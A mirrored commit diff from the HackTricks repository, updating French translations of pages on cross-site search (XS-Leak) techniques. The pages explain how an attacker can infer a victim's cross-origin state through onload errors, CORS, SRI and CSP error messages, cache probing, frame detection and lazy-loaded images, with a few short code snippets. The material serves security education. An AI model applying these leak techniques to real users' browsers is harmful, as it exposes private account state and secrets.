Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity

Translated ['pentesting-web/xs-search.md', 'pentesting-web/xss-cross-sit

Browse source
This commit is contained in:
Translator 2023-08-16 08:53:44 +00:00
parent 5959ca4178
commit 8dab5a0d80
5 changed files with 299 additions and 187 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

2
SUMMARY.md
View file

@ -643,7 +643,9 @@
* [Misc JS Tricks & Relevant Info](pentesting-web/xss-cross-site-scripting/other-js-tricks.md) * [Misc JS Tricks & Relevant Info](pentesting-web/xss-cross-site-scripting/other-js-tricks.md)
* [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md) * [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md)
* [Server Side XSS (Dynamic PDF)](pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md) * [Server Side XSS (Dynamic PDF)](pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
* [Shadow DOM](pentesting-web/xss-cross-site-scripting/shadow-dom.md)
* [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md) * [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
* [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md)
* [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md) * [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
* [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md) * [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
* [XSS Tools](pentesting-web/xss-cross-site-scripting/xss-tools.md) * [XSS Tools](pentesting-web/xss-cross-site-scripting/xss-tools.md)

107
pentesting-web/xs-search.md
View file

@ -55,14 +55,14 @@ Afin de distinguer entre les 2 états de la page vulnérable, plusieurs élémen
* **Messages d'erreur**. Au-delà des gestionnaires d'événements, les messages d'erreur peuvent se produire sous forme d'**exceptions JavaScript** et de **pages d'erreur spéciales**. Les messages d'erreur peuvent être lancés à différentes étapes, par exemple, directement par la technique de fuite. La technique de fuite peut utiliser soit des **informations** supplémentaires directement **contenues** dans le **message d'erreur**, soit distinguer entre l'**apparition et l'absence d'un message d'erreur**. * **Messages d'erreur**. Au-delà des gestionnaires d'événements, les messages d'erreur peuvent se produire sous forme d'**exceptions JavaScript** et de **pages d'erreur spéciales**. Les messages d'erreur peuvent être lancés à différentes étapes, par exemple, directement par la technique de fuite. La technique de fuite peut utiliser soit des **informations** supplémentaires directement **contenues** dans le **message d'erreur**, soit distinguer entre l'**apparition et l'absence d'un message d'erreur**.
* **Limites globales**. Chaque ordinateur a ses limites physiques, tout comme un navigateur. Par exemple, la quantité de mémoire disponible limite les onglets en cours d'exécution d'un navigateur. Il en va de même pour d'autres limites du navigateur qui sont appliquées à l'ensemble du navigateur. Si un attaquant peut déterminer **quand la limite est atteinte, cela peut être utilisé comme une technique de fuite**. * **Limites globales**. Chaque ordinateur a ses limites physiques, tout comme un navigateur. Par exemple, la quantité de mémoire disponible limite les onglets en cours d'exécution d'un navigateur. Il en va de même pour d'autres limites du navigateur qui sont appliquées à l'ensemble du navigateur. Si un attaquant peut déterminer **quand la limite est atteinte, cela peut être utilisé comme une technique de fuite**.
* **État global**. Les navigateurs ont des **états globaux avec lesquels toutes les pages peuvent interagir**. Si cette interaction est détectable à partir du site d'un attaquant, elle peut être utilisée comme une technique de fuite. Par exemple, l'interface **History** permet de manipuler les pages visitées dans un onglet ou une frame. Cela crée un état global car le **nombre d'entrées** permet à un attaquant de tirer des conclusions sur les pages de différentes origines. * **État global**. Les navigateurs ont des **états globaux avec lesquels toutes les pages peuvent interagir**. Si cette interaction est détectable à partir du site d'un attaquant, elle peut être utilisée comme une technique de fuite. Par exemple, l'interface **History** permet de manipuler les pages visitées dans un onglet ou une frame. Cela crée un état global car le **nombre d'entrées** permet à un attaquant de tirer des conclusions sur les pages de différentes origines.
* **API de performance**. L'API de performance est utilisée pour accéder aux **informations de performance de la page actuelle**. Leurs entrées comprennent des données de minutage réseau détaillées pour le document et chaque ressource chargée par la page. Cela permet à un attaquant de tirer des **conclusions sur les ressources demandées**. Par exemple, nous avons identifié des cas où les navigateurs ne créent pas d'entrées de performance pour certaines requêtes. * **API de performance**. L'API de performance est utilisée pour accéder aux **informations de performance de la page actuelle**. Leurs entrées comprennent des données détaillées sur le chronométrage du réseau pour le document et chaque ressource chargée par la page. Cela permet à un attaquant de tirer des **conclusions sur les ressources demandées**. Par exemple, nous avons identifié des cas où les navigateurs ne créent pas d'entrées de performance pour certaines requêtes.
* **Attributs lisibles**. HTML dispose de plusieurs **attributs lisibles entre les origines**. Cet accès en lecture peut être utilisé comme une technique de fuite. Par exemple, le code JavaScript peut lire le nombre de frames incluses dans une page Web entre les origines avec la propriété window.frame.length. * **Attributs lisibles**. HTML dispose de plusieurs **attributs lisibles entre les origines**. Cet accès en lecture peut être utilisé comme une technique de fuite. Par exemple, le code JavaScript peut lire le nombre de frames incluses dans une page Web entre les origines avec la propriété window.frame.length.
#### **Techniques basées sur le timing** #### **Techniques basées sur le timing**
Certaines des techniques suivantes vont utiliser le timing comme partie du processus pour détecter les différences dans les états possibles des pages Web. Il existe différentes façons de mesurer le temps dans un navigateur Web. Certaines des techniques suivantes vont utiliser le timing comme partie du processus pour détecter les différences dans les états possibles des pages Web. Il existe différentes façons de mesurer le temps dans un navigateur Web.
**Horloges** : L'API [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) permet aux développeurs d'obtenir des mesures de timing haute résolution.\ **Horloges** : L'API [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) permet aux développeurs d'obtenir des mesures de chronométrage de haute résolution.\
Il existe un nombre considérable d'API que les attaquants peuvent exploiter pour créer des horloges implicites : [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast\_Channel\_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), les animations CSS, et autres.\ Il existe un nombre considérable d'API que les attaquants peuvent exploiter pour créer des horloges implicites : [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast\_Channel\_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), les animations CSS, et autres.\
Pour plus d'informations : [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/). Pour plus d'informations : [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
@ -152,28 +152,28 @@ Si une page n'a pas mis en place de [protections de cadrage](https://xsleaks.dev
* **Méthodes d'inclusion**: Frames * **Méthodes d'inclusion**: Frames
* **Différence détectable**: Contenu de la page * **Différence détectable**: Contenu de la page
* **Plus d'informations**: * **Plus d'informations**:
* **Résumé**: Si vous pouvez provoquer une erreur sur la page lorsque le contenu correct est consulté et la faire se charger correctement lorsque n'importe quel contenu est consulté, vous pouvez créer une boucle pour extraire toutes les informations sans mesurer le temps. * **Résumé**: Si vous pouvez provoquer une erreur sur la page lorsque le contenu correct est consulté et la charger correctement lorsque n'importe quel contenu est consulté, vous pouvez créer une boucle pour extraire toutes les informations sans mesurer le temps.
* **Exemple de code**: * **Exemple de code**:
Supposons que vous puissiez **insérer** la **page** qui contient le **contenu secret** à l'intérieur d'un iframe. Supposons que vous puissiez **insérer** la **page** qui contient le **contenu secret** à l'intérieur d'un iframe.
Vous pouvez faire en sorte que la victime recherche le fichier contenant "_**flag**_" en utilisant un iframe (en exploitant par exemple une CSRF). À l'intérieur de l'iframe, vous savez que l'événement _**onload**_ sera **toujours exécuté au moins une fois**. Ensuite, vous pouvez **modifier** l'**URL** de l'**iframe** en ne changeant que le **contenu** du **hash** dans l'URL. Vous pouvez **faire en sorte que la victime recherche** le fichier contenant "_**flag**_" en utilisant un **iframe** (en exploitant par exemple une CSRF). À l'intérieur de l'iframe, vous savez que l'événement _**onload**_ sera **toujours exécuté au moins une fois**. Ensuite, vous pouvez **modifier** l'**URL** de l'**iframe** en ne changeant que le **contenu** du **hash** dans l'URL.
Par exemple: Par exemple:
1. **URL1**: www.attacker.com/xssearch#try1 1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2 2. **URL2**: www.attacker.com/xssearch#try2
Si la première URL a été **chargée avec succès**, alors, en **modifiant** la partie **hash** de l'URL, l'événement **onload** ne sera **plus déclenché**. Mais **si** la page a rencontré une **erreur** lors du **chargement**, alors, l'événement **onload** sera **déclenché à nouveau**. Si la première URL a été **chargée avec succès**, alors, en **changeant** la partie **hash** de l'URL, l'événement **onload** ne sera **plus déclenché**. Mais **si** la page a rencontré une **erreur** lors du **chargement**, alors, l'événement **onload** sera **déclenché à nouveau**.
Ainsi, vous pouvez **distinguer** une page **chargée correctement** d'une page qui a une **erreur** lorsqu'elle est consultée. Ainsi, vous pouvez **distinguer** une page **chargée correctement** d'une page qui présente une **erreur** lorsqu'elle est consultée.
### Exécution de JavaScript ### Exécution de JavaScript
* **Méthodes d'inclusion**: Frames * **Méthodes d'inclusion**: Frames
* **Différence détectable**: Contenu de la page * **Différence détectable**: Contenu de la page
* **Plus d'informations**: * **Plus d'informations**:
* **Résumé**: Si la **page** renvoie le **contenu sensible**, ou un **contenu** qui peut être **contrôlé** par l'utilisateur. L'utilisateur pourrait définir un **code JS valide dans le cas négatif**, et charger chaque essai à l'intérieur de balises `<script>`, ainsi dans les cas **négatifs** le **code** des attaquants est **exécuté**, et dans les cas **affirmatifs** rien ne sera exécuté. * **Résumé**: Si la **page** renvoie le **contenu sensible**, ou un **contenu** pouvant être **contrôlé** par l'utilisateur. L'utilisateur pourrait définir un **code JS valide dans le cas négatif**, et charger chaque essai à l'intérieur de balises `<script>`, ainsi dans les cas **négatifs**, le **code** des attaquants est **exécuté**, et dans les cas **affirmatifs**, **rien** ne sera exécuté.
* **Exemple de code**: * **Exemple de code**:
{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} {% content-ref url="xs-search/javascript-execution-xs-leak.md" %}
@ -492,50 +492,50 @@ displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err
audioElement.onerror = errHandler; audioElement.onerror = errHandler;
} }
``` ```
La propriété message de l'interface **`MediaError`** contient une **chaîne différente pour les ressources qui se chargent avec succès**. Cela permet à un attaquant d'inférer l'état de la réponse pour une ressource en provenance d'un autre domaine. La propriété message de l'interface **`MediaError`** contient une **chaîne différente pour les ressources qui se chargent avec succès**. Cela permet à un attaquant d'inférer l'état de la réponse pour une ressource de domaine croisé.
### Erreur CORS ### Erreur CORS
* **Méthodes d'inclusion** : Fetch API * **Méthodes d'inclusion**: Fetch API
* **Différence détectable** : En-tête * **Différence détectable**: En-tête
* **Plus d'informations** : [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3) * **Plus d'informations**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Résumé** : Dans les erreurs CORS SA, l'URL complète des redirections est divulguée. * **Résumé**: Dans les erreurs CORS SA, l'URL complète des redirections est divulguée.
* **Exemple de code** : [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak) * **Exemple de code**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
Cette technique permet à un attaquant de divulguer la cible d'une redirection initiée par un site d'origine différente. Cette technique permet à un attaquant de divulguer la cible d'une redirection initiée par un site de domaine croisé.
CORS permet aux ressources web accessibles publiquement d'être lues et utilisées à partir de n'importe quel site web. Dans les navigateurs basés sur Webkit, il est possible d'**accéder aux messages d'erreur CORS lorsque la requête CORS échoue**. Un attaquant peut envoyer une requête activée par CORS vers un site cible qui effectue des **redirections** en fonction de l'état de l'utilisateur. Lorsque le navigateur refuse la requête, l'**URL complète de la cible de la redirection est divulguée** dans le message d'erreur. Avec cette attaque, il est possible de détecter les redirections, de divulguer les emplacements des redirections et les paramètres de requête sensibles. CORS permet aux ressources web accessibles publiquement d'être lues et utilisées à partir de n'importe quel site web. Dans les navigateurs basés sur Webkit, il est possible d'**accéder aux messages d'erreur CORS lorsque la requête CORS échoue**. Un attaquant peut envoyer une requête activée par CORS vers un site cible qui effectue des **redirections** en fonction de l'état de l'utilisateur. Lorsque le navigateur refuse la requête, l'**URL complète de la cible de la redirection est divulguée** dans le message d'erreur. Avec cette attaque, il est possible de détecter les redirections, de divulguer les emplacements des redirections et les paramètres de requête sensibles.
### Erreur SRI ### Erreur SRI
* **Méthodes d'inclusion** : Fetch API * **Méthodes d'inclusion**: Fetch API
* **Différence détectable** : En-tête * **Différence détectable**: En-tête
* **Plus d'informations** : [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3) * **Plus d'informations**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Résumé** : Dans les erreurs CORS SA, l'URL complète des redirections est divulguée. * **Résumé**: Dans les erreurs CORS SA, l'URL complète des redirections est divulguée.
* **Exemple de code** : [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak) * **Exemple de code**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
Un attaquant peut divulguer la taille des réponses en provenance d'un autre domaine en raison de **messages d'erreur verbeux**. Un attaquant peut divulguer la taille des réponses de domaine croisé en raison de **messages d'erreur verbeux**.
L'attribut d'intégrité définit un hachage cryptographique permettant au navigateur de vérifier qu'une ressource récupérée n'a pas été manipulée. Ce mécanisme de sécurité s'appelle l'intégrité des sous-ressources (SRI). Il est utilisé pour la vérification de l'intégrité des ressources servies à partir de réseaux de diffusion de contenu (CDN). Pour éviter les fuites de données, les ressources en provenance d'un autre domaine doivent être **activées par CORS**. Sinon, la réponse n'est pas éligible à la validation de l'intégrité. Tout comme l'erreur CORS XS-Leak, il est possible de capturer le **message d'erreur après une requête fetch avec un attribut d'intégrité qui échoue**. Un attaquant peut provoquer **intentionnellement** cette **erreur** sur n'importe quelle requête en spécifiant une **valeur de hachage bidon**. Dans SA, ce message d'erreur divulgue la longueur du contenu de la ressource demandée. Un attaquant peut utiliser cette fuite pour détecter les différences de taille de réponse, ce qui permet des attaques XS-Leak puissantes. L'attribut d'intégrité définit un hachage cryptographique permettant au navigateur de vérifier qu'une ressource récupérée n'a pas été manipulée. Ce mécanisme de sécurité s'appelle l'intégrité des sous-ressources (SRI). Il est utilisé pour la vérification de l'intégrité des ressources servies à partir de réseaux de diffusion de contenu (CDN). Pour éviter les fuites de données, les ressources de domaine croisé doivent être **activées par CORS**. Sinon, la réponse n'est pas éligible à la validation de l'intégrité. Similaire à l'erreur CORS XS-Leak, il est possible de capturer le **message d'erreur après une requête fetch avec un attribut d'intégrité qui échoue**. Un attaquant peut provoquer **intentionnellement** cette **erreur** sur n'importe quelle requête en spécifiant une **valeur de hachage bidon**. Dans SA, ce message d'erreur divulgue la longueur du contenu de la ressource demandée. Un attaquant peut utiliser cette fuite pour détecter les différences de taille de réponse, ce qui permet des attaques XS-Leak puissantes.
### Violation/Détection de CSP ### Violation/Détection de CSP
* **Méthodes d'inclusion** : Pop-ups * **Méthodes d'inclusion**: Pop-ups
* **Différence détectable** : Code d'état * **Différence détectable**: Code d'état
* **Plus d'informations** : [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects) * **Plus d'informations**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
* **Résumé** : Si nous n'autorisons que le site de la victime dans le CSP et qu'il tente de rediriger vers un domaine différent, le CSP déclenchera une erreur détectable. * **Résumé**: Si nous n'autorisons que le site de la victime dans le CSP et qu'il tente de rediriger vers un domaine différent, le CSP déclenchera une erreur détectable.
* **Exemple de code** : [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation) * **Exemple de code**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
Un XS-Leak peut utiliser le CSP pour détecter si un site d'origine différente a été redirigé vers une autre origine. Cette fuite peut détecter la redirection, mais en plus, le domaine de la cible de la redirection est divulgué. L'idée de base de cette attaque est de **permettre le domaine cible sur le site de l'attaquant**. Une fois une requête émise vers le domaine cible, il **redirige** vers un domaine d'origine différente. Le CSP **bloque** l'accès à celui-ci et crée un **rapport de violation utilisé comme technique de fuite**. Selon le navigateur, **ce rapport peut divulguer l'emplacement cible de la redirection**.\ Un XS-Leak peut utiliser le CSP pour détecter si un site de domaine croisé a été redirigé vers une autre origine. Cette fuite peut détecter la redirection, mais en plus, le domaine de la cible de la redirection est divulgué. L'idée de base de cette attaque est de **permettre le domaine cible sur le site de l'attaquant**. Une fois une requête émise vers le domaine cible, il **redirige** vers un domaine de domaine croisé. Le CSP **bloque** l'accès à celui-ci et crée un **rapport de violation utilisé comme technique de fuite**. Selon le navigateur, **ce rapport peut divulguer l'emplacement cible de la redirection**.\
Les navigateurs modernes n'indiqueront pas l'URL vers laquelle la redirection a été effectuée, mais vous pouvez toujours détecter qu'une redirection d'origine différente a été déclenchée. Les navigateurs modernes n'indiqueront pas l'URL vers laquelle la redirection a été effectuée, mais vous pouvez toujours détecter qu'une redirection de domaine croisé a été déclenchée.
### Cache ### Cache
* **Méthodes d'inclusion** : Frames, Pop-ups * **Méthodes d'inclusion**: Frames, Pop-ups
* **Différence détectable** : Contenu de la page * **Différence détectable**: Contenu de la page
* **Plus d'informations** : [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html) * **Plus d'informations**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
* **Résumé** : Effacez le fichier du cache. Ouvrez la page cible, vérifiez si le fichier est présent dans le cache. * **Résumé**: Effacez le fichier du cache. Ouvre la page cible et vérifiez si le fichier est présent dans le cache.
* **Exemple de code** : * **Exemple de code:**
Les navigateurs peuvent utiliser un cache partagé pour tous les sites web. Indépendamment de leur origine, il est possible de déduire si une page cible a **demandé un fichier spécifique**. Les navigateurs peuvent utiliser un cache partagé pour tous les sites web. Indépendamment de leur origine, il est possible de déduire si une page cible a **demandé un fichier spécifique**.
@ -543,15 +543,15 @@ Si une page charge une image uniquement si l'utilisateur est connecté, vous pou
### Directive CSP ### Directive CSP
* **Méthodes d'inclusion** : Frames * **Méthodes d'inclusion**: Frames
* **Différence détectable** : En-tête * **Différence détectable**: En-tête
* **Plus d'informations** : [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875) * **Plus d'informations**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
* **Résumé** : Les directives d'en-tête CSP peuvent être sondées avec l'attribut CSP iframe. * **Résumé**: Les directives d'en-tête CSP peuvent être sondées avec l'attribut CSP iframe.
* **Exemple de code** : [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak) * **Exemple de code**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
Une nouvelle fonctionnalité dans GC permet aux pages web de proposer un CSP en définissant un attribut sur un élément iframe. Les directives de la politique sont transmises avec la requête HTTP. Normalement, le contenu intégré doit explicitement autoriser cela avec un en-tête HTTP, **sinon une page d'erreur est affichée**. Cependant, si l'iframe contient déjà un CSP et que la nouvelle politique n'est pas plus stricte, la page s'affichera normalement. Une nouvelle fonctionnalité dans GC permet aux pages web de proposer un CSP en définissant un attribut sur un élément iframe. Les directives de la politique sont transmises avec la requête HTTP. Normalement, le contenu intégré doit explicitement autoriser cela avec un en-tête HTTP, **sinon une page d'erreur est affichée**. Cependant, si l'iframe contient déjà un CSP et que la nouvelle politique n'est pas plus stricte, la page s'affichera normalement.
Cela permet à un attaquant de détecter une directive CSP spécifique d'une page d'origine différente, s'il est possible de **détecter la page d'erreur**. Bien que ce bogue soit maintenant marqué comme corrigé, nous avons découvert une **nouvelle technique de fuite qui peut détecter la page d'erreur, car le problème sous-jacent n'a jamais été résolu**. Cela permet à un attaquant de détecter une directive CSP spécifique d'une page de domaine croisé, s'il est possible de **détecter la page d'erreur**. Bien que ce bogue soit maintenant marqué comme corrigé, nous avons trouvé une **nouvelle technique de fuite qui peut détecter la page d'erreur, car le problème sous-jacent n'a jamais été résolu**.
### **CORP** ### **CORP**
* **Méthodes d'inclusion**: Fetch API * **Méthodes d'inclusion**: Fetch API
@ -752,10 +752,10 @@ Une preuve de concept a été fournie dans un rapport de Chromium qui fonctionne
* **Méthodes d'inclusion**: Frames * **Méthodes d'inclusion**: Frames
* **Différence détectable**: En-têtes * **Différence détectable**: En-têtes
* **Plus d'informations**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf) * **Plus d'informations**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
* **Résumé**: Dans GC, lorsque l'accès à une page n'est pas autorisé à être intégré sur une page de provenance croisée en raison de **X-Frame-Options, une page d'erreur est affichée**. * **Résumé**: Dans GC, lorsque l'inclusion d'une page n'est pas autorisée sur une page de provenance différente en raison de **X-Frame-Options, une page d'erreur est affichée**.
* **Exemple de code**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak) * **Exemple de code**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
Dans Chrome, lorsque l'accès à une page n'est pas autorisé à être intégré sur une page de provenance croisée, car l'en-tête **X-FrameOptions** (XFO) est défini sur deny ou same-origin, une **page d'erreur est affichée à la place**. Pour les objets, cette page d'erreur peut être **détectée en vérifiant la propriété `contentDocument`**. En général, cette propriété renvoie null car l'accès à un document intégré de provenance croisée n'est pas autorisé. Cependant, en raison du **rendu de Chrome** de la page d'erreur, un **objet de document vide** est renvoyé à la place. Cela ne fonctionne pas pour les iframes ou dans d'autres navigateurs. Les développeurs peuvent oublier de définir X-Frame-Options pour toutes les pages et en particulier les pages d'erreur manquent souvent de cet en-tête. En tant que technique de fuite, un attaquant peut être en mesure de différencier entre différents états d'utilisateur en le vérifiant. Dans Chrome, lorsque l'inclusion d'une page n'est pas autorisée sur une page de provenance différente, car l'en-tête **X-FrameOptions** (XFO) est défini sur deny ou same-origin, une **page d'erreur est affichée à la place**. Pour les objets, cette page d'erreur peut être **détectée en vérifiant la propriété `contentDocument`**. En général, cette propriété renvoie null car l'accès à un document intégré de provenance différente n'est pas autorisé. Cependant, en raison du **rendu de Chrome** de la page d'erreur, un **objet de document vide** est renvoyé à la place. Cela ne fonctionne pas pour les iframes ou dans d'autres navigateurs. Les développeurs peuvent oublier de définir X-Frame-Options pour toutes les pages et en particulier les pages d'erreur manquent souvent de cet en-tête. En tant que technique de fuite, un attaquant peut être en mesure de différencier entre différents états d'utilisateur en le vérifiant.
### Détection de téléchargement ### Détection de téléchargement
@ -767,7 +767,7 @@ Dans Chrome, lorsque l'accès à une page n'est pas autorisé à être intégré
L'en-tête `Content-Disposition` ([`Content-Disposition: attachment`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)) indique si le navigateur doit télécharger le contenu ou l'afficher en ligne. L'en-tête `Content-Disposition` ([`Content-Disposition: attachment`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)) indique si le navigateur doit télécharger le contenu ou l'afficher en ligne.
Si seulement un utilisateur connecté serait en mesure d'**accéder à une page qui téléchargera un fichier** car elle utilise l'en-tête. Il est possible de détecter ce comportement. Si seulement un utilisateur connecté peut **accéder à une page qui téléchargera un fichier** car elle utilise l'en-tête. Il est possible de détecter ce comportement.
#### Barre de téléchargement <a href="#download-bar" id="download-bar"></a> #### Barre de téléchargement <a href="#download-bar" id="download-bar"></a>
@ -796,7 +796,7 @@ C'est pourquoi cette technique est intéressante : Chrome dispose maintenant d'u
Si un site `example.com` inclut une ressource de `*.example.com/resource`, alors cette ressource aura la **même clé de mise en cache** que si la ressource était directement **demandée via une navigation de premier niveau**. Cela est dû au fait que la clé de mise en cache est composée de l'eTLD+1 de premier niveau et de l'eTLD+1 du cadre. Si un site `example.com` inclut une ressource de `*.example.com/resource`, alors cette ressource aura la **même clé de mise en cache** que si la ressource était directement **demandée via une navigation de premier niveau**. Cela est dû au fait que la clé de mise en cache est composée de l'eTLD+1 de premier niveau et de l'eTLD+1 du cadre.
Étant donné que l'accès au cache est plus rapide que le chargement d'une ressource, il est possible d'essayer de changer l'emplacement d'une page et de l'annuler 20 ms (par exemple) après. Si l'origine a été modifiée après l'arrêt, cela signifie que la ressource a été mise en cache.\ Étant donné que l'accès au cache est plus rapide que le chargement d'une ressource, il est possible d'essayer de changer l'emplacement d'une page et de l'annuler 20 ms (par exemple) après. Si l'origine a changé après l'arrêt, cela signifie que la ressource a été mise en cache.\
Ou vous pouvez simplement **envoyer une requête fetch vers la page potentiellement mise en cache et mesurer le temps que cela prend**. Ou vous pouvez simplement **envoyer une requête fetch vers la page potentiellement mise en cache et mesurer le temps que cela prend**.
### Redirection manuelle <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a> ### Redirection manuelle <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
@ -887,21 +887,28 @@ Les **images** en HTML ont un attribut "**loading**" dont la valeur peut être "
```html ```html
<img src=/something loading=lazy > <img src=/something loading=lazy >
``` ```
Par conséquent, ce que vous pouvez faire est d'**ajouter beaucoup de caractères indésirables** (par exemple, **des milliers de "W"**) pour **remplir la page web avant le secret**. Nous faisons cela pour que l'image ne soit pas chargée au début. Par conséquent, ce que vous pouvez faire, c'est **ajouter beaucoup de caractères indésirables** (par exemple, **des milliers de "W"**) pour **remplir la page web avant le secret ou ajouter quelque chose comme** `<br><canvas height="1850px"></canvas><br>.`\
Ensuite, si par exemple notre **injection apparaît avant le drapeau**, l'**image** sera **chargée**, mais si elle apparaît **après** le **drapeau**, le drapeau + les caractères indésirables **empêcheront son chargement** (vous devrez jouer avec la quantité de caractères indésirables à placer). C'est ce qui s'est passé dans [**ce compte rendu**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
Une autre option serait d'utiliser le **scroll-to-text-fragment** si cela est autorisé :
#### Scroll-to-text-fragment
Cependant, vous faites en sorte que le **robot accède à la page** avec quelque chose comme Cependant, vous faites en sorte que le **robot accède à la page** avec quelque chose comme
``` ```
#:~:text=SECR #:~:text=SECR
``` ```
Donc, la page web ressemblera à quelque chose comme : **`https://victim.com/post.html#:~:text=SECR`** La page web sera quelque chose comme : **`https://victim.com/post.html#:~:text=SECR`**
Où post.html contient les caractères indésirables de l'attaquant et une image en chargement différé, puis le secret du bot est ajouté. Où post.html contient les caractères indésirables de l'attaquant et une image en chargement différé, puis le secret du bot est ajouté.
